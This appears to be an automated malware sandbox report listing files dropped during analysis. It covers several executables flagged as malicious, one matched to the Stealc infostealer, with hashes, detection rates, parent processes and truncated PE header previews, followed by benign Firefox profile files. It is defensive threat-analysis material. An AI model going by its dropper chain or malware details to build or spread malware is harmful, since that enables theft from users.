Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L....."g.........."..........X......w.............@..........................`............@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	888832
Entropy (8bit):	6.3790716712622695
Encrypted:	false
SSDEEP:	24576:Le1Q/llWMGNL/geFyNcTN+jv75TQn652VBuNyb:cQ/lldGJtF4ch+jvNm0Nyb
MD5:	F793D9E588C6BF51F1DAF523AB2DF1CE
SHA1:	F63CE1F9EEE9F3AE643E270C7FC854DC51D730D0
SHA-256:	A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
SHA-512:	4D0D8BF366F4B4793154F31AEE4983DF307B97EDC83608B76628168418D48227EB46F6213469EB4D3A088D891A143B30B3B02ACBB194DF834DA1B61D182607EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......l............@.......................................@.................................X...P................................$...................................................................................text............................... ....rdata..............................@..@.data.....+.........................@....reloc..>K.......L...D..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2136064
Entropy (8bit):	7.956694005960488
Encrypted:	false
SSDEEP:	49152:SzlvinT9o1MUC9se9Z0R3pcGmzQQDhvRrFyXrRqd2Jvw:SzQW18N9OR3pQEOv7Ari
MD5:	9EC79EAC864343887ECDF94B7D236918
SHA1:	D9ECEB6242F24EC369D4B60A78B2C52C1947A5DD
SHA-256:	29FE5AF75F0C521B5BEA21D6E5158C96A139269E463B6E8EE1760ED5E1000F44
SHA-512:	4641108907C9E849032E7B64E49CED98632783A0BD407BC7EADF0A439779AAB34D08FFA38F2C67F452E2FFFCC65B55756C759279BB6C87DE6E51EFBC1840E643
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 49%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,.......r...........@...........................r......;!...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... ..*.........................@...eysgbrhc......X.....................@...qcadwkiz......r......r .............@....taggant.0....r.."...v .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3016704
Entropy (8bit):	6.546175934074995
Encrypted:	false
SSDEEP:	49152:vmnF5R7XF3eOel6chopM1ei57l5pS9fkyNcFvr:vmnB7XF3eOel6chopM1ei29ftNA
MD5:	C9026D15B750CD2D99E938C9A16C0FEA
SHA1:	AC28095ED9FD5546CB2B71E54A6CBAA8BA5FD129
SHA-256:	E1A0807D2313553A9E5C3997162F9228D9D88BB171BF90C653B15D5195FEF36E
SHA-512:	AF64AD1A5C759A9686F7C689042ABAC150B23F035F900F181F87C457C82BF359EE36801F9086337F65635020CE25AE6E35620482381E1B25C1282F6D8ECCFEDA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 38%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............1...........@..........................@1......e....@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...rfqiwnzu.P+......N+.................@...lwhxfubc......1.......-.............@....taggant.0....1.."....-.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2136064
Entropy (8bit):	7.956694005960488
Encrypted:	false
SSDEEP:	49152:SzlvinT9o1MUC9se9Z0R3pcGmzQQDhvRrFyXrRqd2Jvw:SzQW18N9OR3pQEOv7Ari
MD5:	9EC79EAC864343887ECDF94B7D236918
SHA1:	D9ECEB6242F24EC369D4B60A78B2C52C1947A5DD
SHA-256:	29FE5AF75F0C521B5BEA21D6E5158C96A139269E463B6E8EE1760ED5E1000F44
SHA-512:	4641108907C9E849032E7B64E49CED98632783A0BD407BC7EADF0A439779AAB34D08FFA38F2C67F452E2FFFCC65B55756C759279BB6C87DE6E51EFBC1840E643
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 49%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,.......r...........@...........................r......;!...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... ..*.........................@...eysgbrhc......X.....................@...qcadwkiz......r......r .............@....taggant.0....r.."...v .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.58467072504627
Encrypted:	false
SSDEEP:	12288:rqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/TJ:rqDEvCTbMWu7rQYlBQcBiT6rprG8abJ
MD5:	388A4D9E5A5EC3446324F1DCFEE1F8DB
SHA1:	4DBF48C4BB5B82DA95778263D0FA897CF77909AA
SHA-256:	10582062C33D5D8478731C97DE4F2882F25332A603D048F4ADA7AAB4AF0730E4
SHA-512:	8954E1CA993FFAF83BDD018534EEAC2E815B5956D39C9FFE29D9728521DB06BEC306E67C05E8C54404282D8D1AAA9ACFE2418DB7478D0F04500E28FED4143EFB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L....."g.........."..........X......w.............@..........................`............@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002608001\num.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	888832
Entropy (8bit):	6.3790716712622695
Encrypted:	false
SSDEEP:	24576:Le1Q/llWMGNL/geFyNcTN+jv75TQn652VBuNyb:cQ/lldGJtF4ch+jvNm0Nyb
MD5:	F793D9E588C6BF51F1DAF523AB2DF1CE
SHA1:	F63CE1F9EEE9F3AE643E270C7FC854DC51D730D0
SHA-256:	A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
SHA-512:	4D0D8BF366F4B4793154F31AEE4983DF307B97EDC83608B76628168418D48227EB46F6213469EB4D3A088D891A143B30B3B02ACBB194DF834DA1B61D182607EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......l............@.......................................@.................................X...P................................$...................................................................................text............................... ....rdata..............................@..@.data.....+.........................@....reloc..>K.......L...D..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1933824
Entropy (8bit):	7.951605821274768
Encrypted:	false
SSDEEP:	49152:qInQMjfgF+BthqDRgisIfcowil5Ejn1zJdL9BKh0X:qcjyYfyZwil58n1lRT
MD5:	8E78C36254328BDAFF299220F0FC1D82
SHA1:	3CEB22CE92A3F05162BF5A4D3BB2AFB5707BF2C3
SHA-256:	9812736B539378F454742C8B76A7C6D1FB26C67813619DE820C379AF163CD27E
SHA-512:	E748CA977408024D401024C984B13E8A31F20A7F5F697C03D044DD983709729E31C36DA5FFE4348CE12E4261B74A02513D4BF774708EB07F3502F04F0707E293
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................L...........@...........................L.....!9....@.................................W...k............................gL.............................tgL..................................................... . ............................@....rsrc...............................@....idata ............................@... .P+.........................@...baulhwjg.p....2..h..................@...nnowpgbr.....pL......\..............@....taggant.0....L.."...`..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2895872
Entropy (8bit):	6.434394440787402
Encrypted:	false
SSDEEP:	24576:JGSAbMOPNUZ1TKslXzQJ5rgBqrga48SojEAFEtsS9zboZPENLTNcLHI5rePBN9WI:QZCZ/Y5rR+zHpar9WsvSZGdoF
MD5:	6EB4B86646866EA6FA65E78F6D15E44A
SHA1:	A264D79B70A7B36683F55C4CFFA4E6E48A16423B
SHA-256:	FE3F5B9433609A632DE2973474D8176076BEC73548C272B1E182BC79F1379B1A
SHA-512:	53C08D7D3A4250AB472C0C06B0D91D9E223B5E4F92E977CF64D98A5B102AF38D3FB902A9EF1695C862E22DB489297021D6D3B53C357573427C2DDDDFEF88D90C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 35%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............,.. ...`....@.. ........................,.......,...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...fbnfxrsu..+.......+..:..............@...rjcetyim. ....,.......,.............@....taggant.@....,.."....,.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1933824
Entropy (8bit):	7.951605821274768
Encrypted:	false
SSDEEP:	49152:qInQMjfgF+BthqDRgisIfcowil5Ejn1zJdL9BKh0X:qcjyYfyZwil58n1lRT
MD5:	8E78C36254328BDAFF299220F0FC1D82
SHA1:	3CEB22CE92A3F05162BF5A4D3BB2AFB5707BF2C3
SHA-256:	9812736B539378F454742C8B76A7C6D1FB26C67813619DE820C379AF163CD27E
SHA-512:	E748CA977408024D401024C984B13E8A31F20A7F5F697C03D044DD983709729E31C36DA5FFE4348CE12E4261B74A02513D4BF774708EB07F3502F04F0707E293
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................L...........@...........................L.....!9....@.................................W...k............................gL.............................tgL..................................................... . ............................@....rsrc...............................@....idata ............................@... .P+.........................@...baulhwjg.p....2..h..................@...nnowpgbr.....pL......\..............@....taggant.0....L.."...`..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2895872
Entropy (8bit):	6.434394440787402
Encrypted:	false
SSDEEP:	24576:JGSAbMOPNUZ1TKslXzQJ5rgBqrga48SojEAFEtsS9zboZPENLTNcLHI5rePBN9WI:QZCZ/Y5rR+zHpar9WsvSZGdoF
MD5:	6EB4B86646866EA6FA65E78F6D15E44A
SHA1:	A264D79B70A7B36683F55C4CFFA4E6E48A16423B
SHA-256:	FE3F5B9433609A632DE2973474D8176076BEC73548C272B1E182BC79F1379B1A
SHA-512:	53C08D7D3A4250AB472C0C06B0D91D9E223B5E4F92E977CF64D98A5B102AF38D3FB902A9EF1695C862E22DB489297021D6D3B53C357573427C2DDDDFEF88D90C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 35%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............,.. ...`....@.. ........................,.......,...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...fbnfxrsu..+.......+..:..............@...rjcetyim. ....,.......,.............@....taggant.@....,.."....,.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2895872
Entropy (8bit):	6.434394440787402
Encrypted:	false
SSDEEP:	24576:JGSAbMOPNUZ1TKslXzQJ5rgBqrga48SojEAFEtsS9zboZPENLTNcLHI5rePBN9WI:QZCZ/Y5rR+zHpar9WsvSZGdoF
MD5:	6EB4B86646866EA6FA65E78F6D15E44A
SHA1:	A264D79B70A7B36683F55C4CFFA4E6E48A16423B
SHA-256:	FE3F5B9433609A632DE2973474D8176076BEC73548C272B1E182BC79F1379B1A
SHA-512:	53C08D7D3A4250AB472C0C06B0D91D9E223B5E4F92E977CF64D98A5B102AF38D3FB902A9EF1695C862E22DB489297021D6D3B53C357573427C2DDDDFEF88D90C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 35%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............,.. ...`....@.. ........................,.......,...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...fbnfxrsu..+.......+..:..............@...rjcetyim. ....,.......,.............@....taggant.@....,.."....,.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1933824
Entropy (8bit):	7.951605821274768
Encrypted:	false
SSDEEP:	49152:qInQMjfgF+BthqDRgisIfcowil5Ejn1zJdL9BKh0X:qcjyYfyZwil58n1lRT
MD5:	8E78C36254328BDAFF299220F0FC1D82
SHA1:	3CEB22CE92A3F05162BF5A4D3BB2AFB5707BF2C3
SHA-256:	9812736B539378F454742C8B76A7C6D1FB26C67813619DE820C379AF163CD27E
SHA-512:	E748CA977408024D401024C984B13E8A31F20A7F5F697C03D044DD983709729E31C36DA5FFE4348CE12E4261B74A02513D4BF774708EB07F3502F04F0707E293
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................L...........@...........................L.....!9....@.................................W...k............................gL.............................tgL..................................................... . ............................@....rsrc...............................@....idata ............................@... .P+.........................@...baulhwjg.p....2..h..................@...nnowpgbr.....pL......\..............@....taggant.0....L.."...`..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1933824
Entropy (8bit):	7.951605821274768
Encrypted:	false
SSDEEP:	49152:qInQMjfgF+BthqDRgisIfcowil5Ejn1zJdL9BKh0X:qcjyYfyZwil58n1lRT
MD5:	8E78C36254328BDAFF299220F0FC1D82
SHA1:	3CEB22CE92A3F05162BF5A4D3BB2AFB5707BF2C3
SHA-256:	9812736B539378F454742C8B76A7C6D1FB26C67813619DE820C379AF163CD27E
SHA-512:	E748CA977408024D401024C984B13E8A31F20A7F5F697C03D044DD983709729E31C36DA5FFE4348CE12E4261B74A02513D4BF774708EB07F3502F04F0707E293
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................L...........@...........................L.....!9....@.................................W...k............................gL.............................tgL..................................................... . ............................@....rsrc...............................@....idata ............................@... .P+.........................@...baulhwjg.p....2..h..................@...nnowpgbr.....pL......\..............@....taggant.0....L.."...`..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\ExperimentStoreData.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3621
Entropy (8bit):	4.934096091735784
Encrypted:	false
SSDEEP:	96:8S+OfJQPUFpOdwNIOdYVjvYcXaNLw6fI8P:8S+OBIUjOdwiOdYVjjwLVI8P
MD5:	BDF441133E5BAB68C48F837E751A3444
SHA1:	E026173A9B6408D96761027748F5ACD58C20D7A8
SHA-256:	A726AF289DCB0B26C0129C6B94FD29A7CDB4A233893DFE2F6FE386C3CDBB5C83
SHA-512:	CB7F3225947DB737A314D14B88235D749DB9E65D4075DC03C447E885351EF499AD567FF45856AD07CAE404FC47F00C13B840EE3D75F9825E9D01090BEA7291D7
Malicious:	false
Preview:	{"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"csvImport":true},"enabled":true,"featureId":"cm-csv-import"}]},"active":true,"enrollmentId":"c5d95379-f4ee-4629-a507-6f15a0e93cd4","experimentType":"rollout","source":"rs-loader","userFacingName":"CSV Import (Release Rollout)","userFacingDescription":"This rollout enables users to import logins from a CSV file from the about:logins page.","lastSeen":"2023-10-03T11:50:29.548Z","featureIds":["cm-csv-import"],"prefs":[{"name":"signon.management.page.fileImport.enabled","branch":"default","featureId":"cm-csv-import","variable":"csvImport","originalValue":false}],"isRollout":true},"serp-ad-telemetry-rollout":{"slug":"serp-ad-telemetry-rollout","branch":{"slug":"control","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pr

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\ExperimentStoreData.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3621
Entropy (8bit):	4.934096091735784
Encrypted:	false
SSDEEP:	96:8S+OfJQPUFpOdwNIOdYVjvYcXaNLw6fI8P:8S+OBIUjOdwiOdYVjjwLVI8P
MD5:	BDF441133E5BAB68C48F837E751A3444
SHA1:	E026173A9B6408D96761027748F5ACD58C20D7A8
SHA-256:	A726AF289DCB0B26C0129C6B94FD29A7CDB4A233893DFE2F6FE386C3CDBB5C83
SHA-512:	CB7F3225947DB737A314D14B88235D749DB9E65D4075DC03C447E885351EF499AD567FF45856AD07CAE404FC47F00C13B840EE3D75F9825E9D01090BEA7291D7
Malicious:	false
Preview:	{"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"csvImport":true},"enabled":true,"featureId":"cm-csv-import"}]},"active":true,"enrollmentId":"c5d95379-f4ee-4629-a507-6f15a0e93cd4","experimentType":"rollout","source":"rs-loader","userFacingName":"CSV Import (Release Rollout)","userFacingDescription":"This rollout enables users to import logins from a CSV file from the about:logins page.","lastSeen":"2023-10-03T11:50:29.548Z","featureIds":["cm-csv-import"],"prefs":[{"name":"signon.management.page.fileImport.enabled","branch":"default","featureId":"cm-csv-import","variable":"csvImport","originalValue":false}],"isRollout":true},"serp-ad-telemetry-rollout":{"slug":"serp-ad-telemetry-rollout","branch":{"slug":"control","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pr

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\compatibility.ini

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Windows WIN.INI
Category:	dropped
Size (bytes):	200
Entropy (8bit):	5.391255133360986
Encrypted:	false
SSDEEP:	3:tZAQUsjcmktYWwktUp/UNE2aT/P4WX1rDZjrEFwHQ3ZjrEFwslyy:JWtYWXtUp8babN1rDVEFycVEFL
MD5:	3FB561547A46AF02D6B00F86DC370634
SHA1:	914867E4C763611B441835A3FC0082359FBF7277
SHA-256:	5393F0E8D90EE6A26EAC13B81B83EDC0637487B3E427175021D7EC4CDE8E34A7
SHA-512:	0E05486A6B6AD65D3A95FCFE46BE6687DD47E311374F11DE89F9CFB8C301951D6BFE43FA24851A3E759B6F8AF69A5F593568FB61F576AB52941F6B2B6EE54BC8
Malicious:	false
Preview:	[Compatibility]..LastVersion=118.0.1_20230927232528/20230927232528..LastOSABI=WINNT_x86_64-msvc..LastPlatformDir=C:\Program Files\Mozilla Firefox..LastAppDir=C:\Program Files\Mozilla Firefox\browser..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\content-prefs.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 5, last written using SQLite version 3042000, page size 32768, file counter 5, database pages 8, cookie 0x6, schema 4, largest root page 8, UTF-8, vacuum mode 1, version-valid-for 5
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	0.04905391753567332
Encrypted:	false
SSDEEP:	24:DLivwae+Q8Uu50xj0aWe9LxYkKA25Q5tvAA:D6wae+QtMImelekKDa5
MD5:	DD9D28E87ED57D16E65B14501B4E54D1
SHA1:	793839B47326441BE2D1336BA9A61C9B948C578D
SHA-256:	BB4E6C58C50BD6399ED70468C02B584595C29F010B66F864CD4D6B427FA365BC
SHA-512:	A2626F6A3CBADE62E38DA5987729D99830D0C6AA134D4A9E615026A5F18ACBB11A2C3C80917DAD76DA90ED5BAA9B0454D4A3C2DD04436735E78C974BA1D035B1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......\|....~.}.}z}-\|.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extension-preferences.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	4.574593760134356
Encrypted:	false
SSDEEP:	24:Y5FKFpovPVKFpovPFKFpovdlgKFpovVfKFpovQ/SKFpovNkmKFpovHmKFpovdh9m:YTJpVWtbbFZ+Vpk5t
MD5:	9AB26458FA5ECE134CE4EFE3EA06EE6A
SHA1:	C919123D4A4A3123DED72B3445BF98FC96C20846
SHA-256:	F50CBF6C3B129B43895AB854F81C3B7137CD892BE34C84082115838461643523
SHA-512:	5749E9033654803A20F22E2F0C77BF5B816AD3AB7ACD081882AB861B496C615F99BF4135C500C52EE1A1D3500F1487282726AF839CBABFBE504EA3BA91A6352A
Malicious:	false
Preview:	{"formautofill@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"pictureinpicture@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"screenshots@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"webcompat@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"default-theme@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"addons-search-detection@mozilla.com":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"google@search.mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"amazondotcom@search.mozilla.org":{"permissions":["internal:svgContex

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extension-preferences.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	4.574593760134356
Encrypted:	false
SSDEEP:	24:Y5FKFpovPVKFpovPFKFpovdlgKFpovVfKFpovQ/SKFpovNkmKFpovHmKFpovdh9m:YTJpVWtbbFZ+Vpk5t
